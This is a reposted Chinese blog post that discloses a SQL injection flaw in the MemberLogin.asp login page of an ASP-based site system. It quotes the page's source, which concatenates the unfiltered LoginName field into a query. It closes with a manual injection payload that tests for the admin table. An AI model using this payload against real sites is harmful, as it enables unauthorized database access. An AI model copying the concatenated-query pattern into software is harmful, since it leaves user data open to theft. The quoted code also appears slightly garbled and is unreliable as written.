这个注入漏洞发生在html/MemberLogin.asp文件里,在Include下有NoSqlHack.Asp文件也没调用,呵呵,就有了我们利用的地方了。
MemberLogin.asp源码如下:
ASP/Visual Basic代码
- <%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
- <% Option Explicit %>
- <%Response.Charset="utf-8"%>
- <!--#include file="../Include/Const.asp"-->
- <!--#include file="../Include/ConnSiteData.asp"-->
- <!--#include file="../Include/Md5.asp"-->
- <%
- if request.QueryString("Action")="Out" then
- session.contents.remove "MemName"
- session.contents.remove "GroupID"
- session.contents.remove "GroupLevel"
- session.contents.remove "MemLogin"
- response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
- response.end
- end if
- Public ErrMsg(3)
- ErrMsg(0)="·登录名不正确,请返回。"
- ErrMsg(1)="·登录密码不正确,请返回。"
- ErrMsg(2)="·帐号非使用状态,请返回。"
- dim LoginName,LoginPassword,VerifyCode,MemName,Password,GroupID,GroupName,Working,rs,sql
- LoginName=trim(request.form("LoginName"))
- LoginPassword=Md5(request.form("LoginPassword"))
- set rs = server.createobject("adodb.recordset")
- sql="select * from NwebCn_Members where MemName='"&LoginName"'"
- rs.open sql,conn,1,3
- if rs.bof and rs.eof then
- WriteMsg(ErrMsg(0))
- response.end
- else
- MemName=rs("MemName")
- Password=rs("Password")
- GroupID=rs("GroupID")
- GroupName=rs("GroupName")
- Working=rs("Working")
- end if
- if LoginPassword<>Password then
- WriteMsg(ErrMsg(1))
- response.end
- end if
- if not Working then
- WriteMsg(ErrMsg(2))
- response.end
- end if
- if UCase(LoginName)=UCase(MemName) and LoginPassword=Password then
- rs("LastLoginTime")=now()
- rs("LastLoginIP")=Request.ServerVariables("Remote_Addr")
- rs("LoginTimes")=rs("LoginTimes")+1
- rs.update
- rs.close
- set rs=nothing
- session("MemName")=MemName
- session("GroupID")=GroupID
- '===========
- set rs = server.createobject("adodb.recordset")
- sql="select * from NwebCn_MemGroup where GroupID='"&GroupID"'"
- rs.open sql,conn,1,1
- session("GroupLevel")=rs("GroupLevel")
- rs.close
- set rs=nothing
- '===========
- session("MemLogin")="Succeed"
- session.timeout=60
- response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
- response.end
- end if
- %>
看到了,LoginName未作过滤,直接代入查询,因此产生了这个注入,就是利用的方法有点麻烦,我试了下,没办法用工具,郁闷了。
手工如:wzasdf' and exists (select * from [nwebcn_admin]) and '1'='1
转载于:https://blog.51cto.com/hellxman/719484